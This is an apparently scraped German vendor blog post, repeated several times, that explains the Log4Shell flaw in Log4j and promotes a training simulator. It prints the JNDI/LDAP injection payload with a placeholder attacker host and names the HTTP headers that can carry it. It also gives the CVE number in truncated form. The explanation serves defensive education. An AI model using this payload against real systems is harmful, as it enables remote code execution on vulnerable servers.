Die Log4j-Schwachstelle erklärt - Angriffsvektor und wie man sie verhindert
Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.
Alte Nachrichten?
Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.
Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".
Prävention: Sensibilisierung
Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.
Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell
Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.
Im Dezember 2021 wurde eine kritische Sicherheitslücke Log4Shell in der Java-Bibliothek Log4j bekannt. In diesem Artikel schlüsseln wir die Log4Shell-Schwachstelle in die einfachste Form auf, damit Sie die Grundlagen verstehen, und führen Sie in eine Mission ein - eine Spielwiese, auf der Sie versuchen können, eine simulierte Website mit dem Wissen über diese Schwachstelle auszunutzen.
Secure Code Warrior ist für Ihr Unternehmen da, um Sie dabei zu unterstützen, Ihren Code über den gesamten Lebenszyklus der Softwareentwicklung hinweg zu sichern und eine Kultur zu schaffen, in der Cybersicherheit an erster Stelle steht. Ganz gleich, ob Sie AppSec-Manager, Entwickler, CISO oder ein anderer Sicherheitsverantwortlicher sind, wir können Ihrem Unternehmen helfen, die mit unsicherem Code verbundenen Risiken zu reduzieren.
Demo buchen
Laura Verheyde ist Softwareentwicklerin bei Secure Code Warrior und beschäftigt sich mit der Erforschung von Schwachstellen und der Erstellung von Inhalten für Missions und Coding Labs.
Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.
Alte Nachrichten?
Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.
Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".
Prävention: Sensibilisierung
Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.
Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell
Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.
Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.
Alte Nachrichten?
Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.
Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".
Prävention: Sensibilisierung
Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.
Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell
Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.
Klicken Sie auf den unten stehenden Link und laden Sie die PDF-Datei dieser Ressource herunter.
Secure Code Warrior ist für Ihr Unternehmen da, um Sie dabei zu unterstützen, Ihren Code über den gesamten Lebenszyklus der Softwareentwicklung hinweg zu sichern und eine Kultur zu schaffen, in der Cybersicherheit an erster Stelle steht. Ganz gleich, ob Sie AppSec-Manager, Entwickler, CISO oder ein anderer Sicherheitsverantwortlicher sind, wir können Ihrem Unternehmen helfen, die mit unsicherem Code verbundenen Risiken zu reduzieren.
Bericht ansehenDemo buchen
Laura Verheyde ist Softwareentwicklerin bei Secure Code Warrior und beschäftigt sich mit der Erforschung von Schwachstellen und der Erstellung von Inhalten für Missions und Coding Labs.
Am 9. Dezember wurde eine 0-Day-Schwachstelle in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, genannt Log4Shell, wurde als "hochgradig schwerwiegend" eingestuft, da der Exploit zu Remotecodeausführung(RCE) führen kann. Außerdem ist log4j-core eine der am häufigsten verwendeten Java-Protokollierungsbibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben einen Showcase erstellt, der Sie von der grundlegenden Idee von Log4Shell bis hin zum Ausnutzen dieser Schwachstelle in einem Simulator namens Mission führt. In dieser Mission werden wir Ihnen zeigen, wie sich die Log4j-Schwachstelle auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase einzusteigen, oder lesen Sie weiter, um mehr über die Sicherheitslücke im Detail zu erfahren.
Alte Nachrichten?
Die Sicherheitslücke ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 betonten die Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh, dass "Anwendungen keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen sollten", und veranschaulichten, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen könnte. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht wie folgt aus:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Als Nächstes kommt JNDI ( Java Naming and Directory Interface), eine API, die eine Verbindung zu Diensten mit Protokollen wie LDAP, DNS, RMI usw. ermöglicht, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt, führt JNDI in unserem obigen Beispiel mit bösartiger Nutzlast eine Abfrage des vom Angreifer kontrollierten LDAP-Servers durch. Die Antwort könnte zum Beispiel auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.
Was diese Schwachstelle so problematisch macht, ist die Tatsache, dass Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben, die in EL-Syntax mit dem Präfix "jndi" geschrieben sind, nachschlägt. Die Nutzlast kann an jeder Stelle eingeschleust werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Auch HTTP-Header wie User-Agent und X-Forwarded-For sowie andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehen Sie zu unserem Showcase und springen Sie zu Schritt 2 - "Auswirkungen erleben".
Prävention: Sensibilisierung
Ein Upgrade wird für alle Anwendungen empfohlen, da Log4j den verwundbaren Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch eine DDoS- und andere Schwachstellen, so dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir jederzeit die Sicherheit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen, von denen wir naiverweise annehmen, dass sie sicher sind, gefährdet werden kann.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können die Entwickler nur so viel tun, wie anfällige Komponenten über Software von Drittanbietern eingeführt werden. Andererseits ist die Lektion, die wir daraus gelernt haben, eine, die immer wieder wiederholt wird, nämlich dass man sich niemals auf Benutzereingaben verlassen sollte.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um zu verhindern, dass Schwachstellen im Code auftreten. Da SCW in großem Umfang programmiergerüstspezifische Schulungen anbietet, konnten die Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre vom SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Speziell für Java-Entwickler bietet Secure Code Warrior mit Sensei ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Schwachstellen zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Kochbücher verwenden. Stöbern Sie in unseren Rezepten, und vergessen Sie nicht, unser Log4j-Kochbuch herunterzuladen, mit dem Sie die Log4Shell-Schwachstelle im Handumdrehen finden und beheben können.
Verbessern Sie Ihre Fähigkeiten zur Verteidigung gegen Log4Shell
Möchten Sie das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umsetzen? Unser Showcase kann Ihnen dabei helfen. Zu Beginn des Showcase erhalten Sie einen kurzen Überblick über diese Schwachstelle. Anschließend werden Sie in eine simulierte Umgebung geführt, in der Sie den Exploit unter Anleitung ausprobieren können.
Inhaltsübersicht
Secure Code Warrior ist für Ihr Unternehmen da, um Sie dabei zu unterstützen, Ihren Code über den gesamten Lebenszyklus der Softwareentwicklung hinweg zu sichern und eine Kultur zu schaffen, in der Cybersicherheit an erster Stelle steht. Ganz gleich, ob Sie AppSec-Manager, Entwickler, CISO oder ein anderer Sicherheitsverantwortlicher sind, wir können Ihrem Unternehmen helfen, die mit unsicherem Code verbundenen Risiken zu reduzieren.
Demo buchenHerunterladenRessourcen für den Einstieg
Die Leistungsfähigkeit von OpenText Fortify + Secure Code Warrior
OpenText Fortify und Secure Code Warrior bündeln ihre Kräfte, um Unternehmen dabei zu helfen, Risiken zu reduzieren, Entwickler zu Sicherheits-Champions zu machen und Kundenvertrauen aufzubauen. Lesen Sie hier mehr darüber.
Benchmarking von Sicherheitskompetenzen: Optimierung von Secure-by-Design im Unternehmen
Die Secure-by-Design-Bewegung ist die Zukunft der sicheren Softwareentwicklung. Erfahren Sie mehr über die wichtigsten Elemente, die Unternehmen berücksichtigen müssen, wenn sie über eine Secure-by-Design-Initiative nachdenken.
Ressourcen für den Einstieg
OWASP Top 10 für LLM-Bewerbungen: Was ist neu, was hat sich geändert, und wie bleibt man sicher?
Bleiben Sie bei der Absicherung von LLM-Anwendungen mit den neuesten OWASP Top 10 Updates immer einen Schritt voraus. Entdecken Sie, was neu ist, was sich geändert hat und wie Secure Code Warrior Sie mit aktuellen Lernressourcen ausstattet, um Risiken in der generativen KI zu minimieren.
Trust Score zeigt den Wert von Secure-by-Design-Upskilling-Initiativen
Unsere Forschung hat gezeigt, dass Schulungen für sicheren Code funktionieren. Trust Score verwendet einen Algorithmus, der auf mehr als 20 Millionen Lerndaten aus der Arbeit von mehr als 250.000 Lernenden in über 600 Organisationen basiert, und zeigt, wie effektiv die Initiative ist, um Schwachstellen zu beseitigen und wie man sie noch effektiver gestalten kann.
.png)
Reaktive versus präventive Sicherheit: Prävention ist das bessere Heilmittel
Der Gedanke, Legacy-Code und -Systeme zur gleichen Zeit wie neuere Anwendungen mit präventiver Sicherheit auszustatten, kann entmutigend erscheinen, aber ein Secure-by-Design-Ansatz, der durch die Weiterbildung von Entwicklern durchgesetzt wird, kann die besten Sicherheitsverfahren auf diese Systeme anwenden. Dies ist für viele Unternehmen die beste Chance, ihre Sicherheitslage zu verbessern.
Die Vorteile eines Benchmarking der Sicherheitskompetenzen von Entwicklern
Der zunehmende Fokus auf sicheren Code und Secure-by-Design-Prinzipien erfordert, dass Entwickler von Beginn des SDLC an in Cybersicherheit geschult werden, wobei Tools wie Secure Code Warrior's Trust Score dabei helfen, ihre Fortschritte zu messen und zu verbessern.
Entwicklergesteuerte Kodierung.
Sicher ist sicher.
Setzen Sie sich noch heute mit uns in Verbindung und machen Sie Softwaresicherheit zu einem festen Bestandteil Ihres Entwicklungsprozesses.
